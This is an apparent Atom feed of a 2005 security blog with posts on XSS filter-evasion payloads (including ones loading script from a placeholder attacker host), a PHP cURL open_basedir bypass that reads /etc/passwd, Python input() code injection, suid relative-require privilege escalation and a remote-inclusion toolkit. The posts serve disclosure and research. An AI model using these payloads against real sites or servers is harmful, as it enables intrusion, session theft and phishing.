out!&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113175594892671516?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113175594892671516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113175594892671516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113175594892671516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113175594892671516'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/11/osvdb.html' title='OSVDB'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113141587322441786</id><published>2005-11-07T21:03:00.000-05:00</published><updated>2005-11-07T21:11:13.233-05:00</updated><title type='text'>F-Secure Internet Gatekeeper for Linux local root</title><content type='html'>I discovered a hole in the F-Secure's Internet Gatekeeper for Linux software package. It takes some special conditions to allow for the attack to be successful. They go as follows:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;1) you need local user access to the machine with FSIGK&lt;br /&gt;2) you need executable permissions to the SUID binaries in question&lt;br /&gt;3) you need to have access to a writable directory, in order to create an arbitrary file.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;And those are usually trivial conditions to achieve. Here's a link to the &lt;a href="http://tigerteam.se/dl/exploits/TSEAD-200510-4.txt"&gt;Advisory&lt;/a&gt;. The exploit is within the advisory, in GnuPG format. Do check on the &lt;a href="http://www.tigerteam.se"&gt;Tigerteam.se&lt;/a&gt; website for the password.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113141587322441786?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113141587322441786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113141587322441786' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113141587322441786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113141587322441786'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/11/f-secure-internet-gatekeeper-for-linux.html' title='F-Secure Internet Gatekeeper for Linux local root'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113076241698609986</id><published>2005-10-31T07:33:00.000-05:00</published><updated>2005-10-31T07:40:16.996-05:00</updated><title type='text'>ritk updates to beta 0.2</title><content type='html'>this new release of ritk ("remote inclusion toolkit") contains cleaner syntax, some constants set for use in the reverse connection backdoor, and finally the addition of a method to exploit a weakness in PHP's safemode/open_basedir(). The vulnerability was disclosed by slythers@gmail.com and I thought it would be such a neat usage for remote inclusion penetration testing.&lt;br /&gt;&lt;br /&gt;the variable to use ritk's new feature is &amp;bypass=1, which currently supports the libcurl means of bypassing safemode/open_basedir. I am in the middle of research to expand the method; for it seems PHP's safemode/open_basedir system is quite flawed. &lt;br /&gt;&lt;br /&gt;you can read its README file &lt;a href="http://sabu.net/data/code/README.ritk"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113076241698609986?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113076241698609986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113076241698609986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113076241698609986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113076241698609986'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/10/ritk-updates-to-beta-02.html' title='ritk updates to beta 0.2'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113041387187459439</id><published>2005-10-27T06:30:00.000-04:00</published><updated>2005-10-27T07:51:11.900-04:00</updated><title type='text'>discovering unknown vhosts</title><content type='html'>quick and straight to the point.. here are some methods I use to discover "unknown" virtual hosts hosted beside the target domain.&lt;br /&gt;&lt;br /&gt;1) whois.sc's reverse ip lookup service&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;this site actually offers a pretty cool tool in reversing vhosts on specific IP addresses. it offers to show the first three hosts listed for the target IP, and if you would like a more complete list then you'd have to pay ofcourse. the reason I use this service a lot is because it's actually pretty occurate. I've been able to bump into several vulnerable sites hosted on target boxes.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;2) searchmee's ip-hunt&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;searchmee.com actually has a pretty cool tool that actually is able to show you some interesting results. it's able to show you virtual hosts that that have been found by it's search spider residing on a target IP (or range). it's results are all based on cache.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;3) google.com + netcraft&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;a) google can be useful in virtual host enumeration by searching the engine with the target's ip address. &lt;br /&gt;&lt;br /&gt;b) netcraft is as easy as you can get when determining possible virtual hosts to a target domain by using special queries into its little search textbox. read up its syntax from the site itself.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;there are tools out there that uses several different techniques (usually netcraft+google+other search engines) to find such information.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113041387187459439?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113041387187459439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113041387187459439' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113041387187459439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113041387187459439'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/10/discovering-unknown-vhosts.html' title='discovering unknown vhosts'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112967310079646526</id><published>2005-10-18T17:38:00.000-04:00</published><updated>2005-10-18T18:05:00.800-04:00</updated><title type='text'>openbasedir / safemode bypass via GD / cURL</title><content type='html'>on Date: Mon, 17 Oct 2005 22:55:26 +0200 a post on Full Disclosure came through to my inbox. "&lt;a href="http://seclists.org/lists/fulldisclosure/2005/Oct/0414.html"&gt;PHP Safedir Restriction Bypass Vulnerabilities&lt;/a&gt;" was its title and my reaction was weeee! after reading through the post I realized the vulnerabilities do not affect the core of PHP, but two extensions. GD, and cURL. Exerpts from the post goes as follows:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;curl openbasedir and safemode bypass.&lt;br /&gt;POC:&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;mkdir("./".$_SERVER["SCRIPT_NAME"]."?");&lt;br /&gt;$ch = curl_init("&lt;br /&gt;file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd&lt;br /&gt;");&lt;br /&gt;&lt;br /&gt;$file=curl_exec($ch);&lt;br /&gt;&lt;br /&gt;echo $file;&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I always wondered if such an attack was even possible, since I had an understanding that extensions are run under PHP's directives. But now this is interesting -- one has to wonder how many other PHP extensions are capable of bypassing safemode/openbasedir at this instant.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112967310079646526?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112967310079646526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112967310079646526' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112967310079646526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112967310079646526'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/10/openbasedir-safemode-bypass-via-gd.html' title='openbasedir / safemode bypass via GD / cURL'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112931907281739327</id><published>2005-10-14T15:25:00.000-04:00</published><updated>2005-10-14T15:44:32.823-04:00</updated><title type='text'>The beginning of XSS worms</title><content type='html'>A MySpace user by the name of "Samy" figured out how to slip a XSS attack into a CSS tag. Thus, he was able to successfully exploit 1) a hole in myspace.com's coding, and 2) a large victim base. The attack doesn't seem to be executed by Firefox/Mozilla users, but IE/Opera/Safari and possibly other obscure browsers.&lt;br /&gt;&lt;br /&gt;Instead of just stealing a few cookies belonging to victim users, he decided to try his luck at propagating the attack. In fact, he was not only able to have people add him automatically to their friends list, but also the XSS attack itself was written to the victims' own profile thus creating a worm. It spread to the hundreds, then to thousands, until it reached millions. After some time it was fixed up.&lt;br /&gt;&lt;br /&gt;Here are some reading material to fill your interests:&lt;br /&gt;http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391&lt;br /&gt;http://www.livejournal.com/community/evan_tech/150019.html (the code itself)&lt;br /&gt;http://blog.outer-court.com/archive/2005-10-14-n81.html (an interview with the author)&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112931907281739327?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112931907281739327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112931907281739327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112931907281739327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112931907281739327'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/10/beginning-of-xss-worms.html' title='The beginning of XSS worms'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112851519047346469</id><published>2005-10-05T02:10:00.000-04:00</published><updated>2005-10-19T19:42:20.790-04:00</updated><title type='text'>case in point #2</title><content type='html'>Cross Site Scripting (or XSS) can be used in some serious attacks. In fact XSS was a hot topic for debate when advisories started popping out, and some people didn't really _get_ the problems it could cause. Who thought client-side browsers could be so dangerous! of course, web browsers can't be blamed -- it's all part of the javascript engine.&lt;br /&gt;&lt;br /&gt;I remember around that time security folks questioned the validity of XSS attacks, sites like www.cgisecurity.com (then, ran by a friend of mine zenomorph) started releasing very detailed attack examples using hex'd XSS injections, cookie stealing, and so on. People started getting the idea, and thus exploitation began!&lt;br /&gt;&lt;br /&gt;Now fast forward from 2000ish, and we'll see that XSS attacks are still common and programmers are still making those same programming mistakes. But now, instead of just stealing sessions or cookies, it can be said that spammers and phishers are using XSS attacks to assist them. Phishers especially are using XSS holes recently found on sites like eBay, and PayPal, to assist them in tricking users of said sites into giving up login credentials -- in the form of redirections, or loading of evil remote site javascript files.&lt;br /&gt;&lt;br /&gt;I'd like to showcase some interesting evasion techniques I've found in the wild. Some of them I found on my own, others come from &lt;a href="http://ha.ckers.org/xss.html"&gt;RSnake&lt;/a&gt;'s awesome research into XSS attacks.&lt;br /&gt;&lt;br /&gt;I found that there are a lot of different XSS techniques for different browsers. The reason why the techniques work on one or most web browsers, instead of all, is because of coding practices behind the web browsers. The developers decided to follow protocol, or not, or just disabled features.&lt;br /&gt;&lt;br /&gt;Lets look at the obvious XSS that works universally:&lt;br /&gt;"&amp;gt;&amp;lt;script&amp;gt;alert("xss")&amp;lt;/script&amp;gt;&amp;lt;!--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It's a basic XSS attack, in fact it adds a few features like closing any preciding tags, and commenting the superceding site code. It also works on all browsers because it's basic javascript -- it follows protocol. However even the most basic of filtering systems (or server configurations) may use functions like &lt;a href="http://de.php.net/manual/en/function.addslashes.php"&gt;addslashes()&lt;/a&gt; which I've seen in a lot of cases.&lt;br /&gt;&lt;br /&gt;So, how would one be able to evade the addslashes() function and still be able to execute across most to all browsers? using the iframe feature. The following is an example:&lt;br /&gt;"&amp;gt;&amp;lt;iframe src=http://www.attacker.com&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;The iframe injection XSS technique actually passes through addslashes() safely because there are no null bytes, single or double quotes in it.&lt;br /&gt;&lt;br /&gt;If the target site has no filtering, but you need to target only a specific group of users -- by browser, then you can use the following examples:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Opera:&lt;br /&gt;I've noticed this following XSS attack is only executed automatically by the Opera web browser, while Internet Explorer and Firefox do not do so:&lt;br /&gt;&amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Internet Explorer:&lt;br /&gt;Here are only a few examples of _many_ that execute only in Internet Explorer:&lt;br /&gt;&amp;lt;IMG SRC="jav ascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;IMG DYNSRC="javascript:alert('XSS')"&gt;&lt;br /&gt;&amp;lt;IMG LOWSRC="javascript:alert('XSS')"&gt;&lt;br /&gt;&amp;lt;BGSOUND SRC="javascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;IMG SRC='vbscript:msgbox("XSS")'&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Firefox:&lt;br /&gt;I've noticed that Firefox doesn't really have many or any Firefox-specific XSS attacks. &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Internet Explorer and Opera:&lt;br /&gt;&amp;lt;IMG SRC="jav ascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;IMG SRC="jav ascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;IMG SRC="   javascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;LINK REL="stylesheet" HREF="javascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;TABLE BACKGROUND="javascript:alert('XSS')"&gt;&lt;br /&gt;&amp;lt;STYLE&gt;.XSS{background-image:url("javascript:alert('XSS')");}&lt;a class="XSS"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;STYLE type="text/css"&gt;BODY{background:url("javascript:alert('XSS')")}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Internet Explorer and Firefox:&lt;br /&gt;&amp;lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Internet Explorer, Firefox, and Opera:&lt;br /&gt;&amp;lt;IFRAME SRC="javascript:alert('XSS');"&gt;&lt;br /&gt;&amp;lt;SCRIPT&gt;document.write("&lt;scri&gt;PT SRC="http://YOUR-SERVER.tld/a.js"&gt;&lt;/scri&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I've noticed the last example works amazingly well in many oddball situations. I found it on RSnake's site, and think it's pretty cool. It works on the three mentioned browsers and who knows how many others. I also see that it has the potential to bypass many badly coded filtering systems out there. addslashes() kills it, due to the quotes, though.&lt;br /&gt;&lt;br /&gt;Recently I discovered an odd occurance with ASP.NET servers. As some may know, ASP.NET does filtering on incoming variables for all sorts of attacks; XSS in my case. Once I attempted to inject any sort of XSS attack it errored and displayed a message about the danger potential the arbitrary code may have. So, by playing with a null byte, and new line feeds I was able not only to inject a XSS attack but also bypass ASP.NET's security mechanism. The following are screen shots of the attack:&lt;br /&gt;&lt;br /&gt;First, we see the reaction the server had to my injection:&lt;br /&gt;&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/xssssh1.jpg"&gt;&lt;img style="cursor: pointer;" src="http://photos1.blogger.com/blogger/5197/1577/320/xssssh1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now the following screen shot references a sophisticated XSS attack. I figured out that if I entered a null byte (%00) after a valid page ID integer (27 in this case, or whatever really) I could inject a new line feed(%0a), alert(), another newline and finally set a null variable to fix the Javascript code I broke while injecting my XSS attack in the first place. And voila, a neat XSS attack! Now, here's the odd part -- if I removed the null byte from the equasion the entire attack becomes unsuccessful.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/xssssh21.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://photos1.blogger.com/blogger/5197/1577/320/xssssh21.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now, the attack on this target site became successful because of several reasons. 1) the developer outputs the page ID in a javascript evaluation. and 2) ASP.NET allows null byte's and other hex'd ascii representation to be executed.&lt;br /&gt;&lt;br /&gt;Until next time!&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112851519047346469?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112851519047346469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112851519047346469' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112851519047346469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112851519047346469'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/10/case-in-point-2.html' title='case in point #2'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112804127535426194</id><published>2005-09-29T20:31:00.000-04:00</published><updated>2005-09-29T20:47:55.360-04:00</updated><title type='text'>Python + input() fun</title><content type='html'>As written from the Python manual:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;  input([prompt])&lt;br /&gt;     Equivalent to eval(raw_input(prompt)). Warning: This function is not safe from user errors! It expects a valid Python expression as input; if the input is not syntactically valid, a SyntaxError will be raised. Other exceptions may be raised if there is an error during evaluation. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, it simply evaluates incoming input, and will error if it does not comform to proper syntax. Have you ever logged into a server and got faced with a nologin script some admin wrote to remind you that money is owed on the account? or to request shell access? &lt;br /&gt;&lt;br /&gt;If you put in: "import os; os.system('touch /tmp/peepee')", you will most likely see an ugly exception being rased:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Traceback (most recent call last):&lt;br /&gt;  File "&lt;stdin&gt;", line 1, in ?&lt;br /&gt;  File "&lt;string&gt;", line 1&lt;br /&gt;    import os; os.system('touch /tmp/peepee')&lt;br /&gt;         ^&lt;br /&gt;SyntaxError: invalid syntax&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lame! no spaces can be used in the evaluated code. Hmm. Ley's try a dynamic import: "__import__('os').system('touch /tmp/peepee')". Oh, that worked. I'm not sure wether or not the fact dynamic imports+executions are a feature or just some strange bug in input() but if imports of modules and executions were planned through input() it wouldn't have raised an exception on the attempts before. Unless, of course, it's some bug.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112804127535426194?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112804127535426194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112804127535426194' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112804127535426194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112804127535426194'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/09/python-input-fun.html' title='Python + input() fun'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112745396098963685</id><published>2005-09-23T01:09:00.000-04:00</published><updated>2005-09-23T01:39:20.996-04:00</updated><title type='text'>case in point #1</title><content type='html'>from time to time I'll throw up these "case in point" posts to talk a bit about holes that I've found in the current day. I'll leave the product names out, but it'll be an interesting read nonetheless.&lt;br /&gt;&lt;br /&gt;so today I was doing a quick audit on an internal development box. it was once used for some extreme usage, but faded away into the network's obscure hidden world as soon as another solution jumped in the spotlight. in any case, the box was given to me to play with and try funky things. &lt;br /&gt;&lt;br /&gt;before doing anything serious, I wanted to see how secure it was locally. it turns out there was a coorperate anti-virus product installed for scanning of incoming email. unfortunately it is coupled with some lame web interface that can be used by the administrator to do things from rebooting the box via web, or edit templates.&lt;br /&gt;&lt;br /&gt;I noticed something odd though -- many of the scripts were executed via C-written and compiled suid wrappers. and their primary purpose is just to execute specific perl scripts. fine, we see (or saw) those kind of setups all the time -- it was no big deal. so I inspected the perl scripts to find they all shared a common line of code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;require "./filefullof.functions"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ERROR!&lt;br /&gt;&lt;br /&gt;thus here lies a very serious security hole. the coorperate software in question bundles a bunch of unnessesary perl scripts. then, these scripts are bundled with suid wrappers to assist them during executions. and finally, the perl scripts themselves call functions from another script improperly -- calling from a file in the current directory and not from an absolute one.&lt;br /&gt;&lt;br /&gt;mhm. that's bad. in fact, one softlink later and rogue "./filefullof.functions" created -- you've just taken over an inheritance of suid.&lt;br /&gt;&lt;br /&gt;advisory+exploit coming soon to a terminal near you!&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
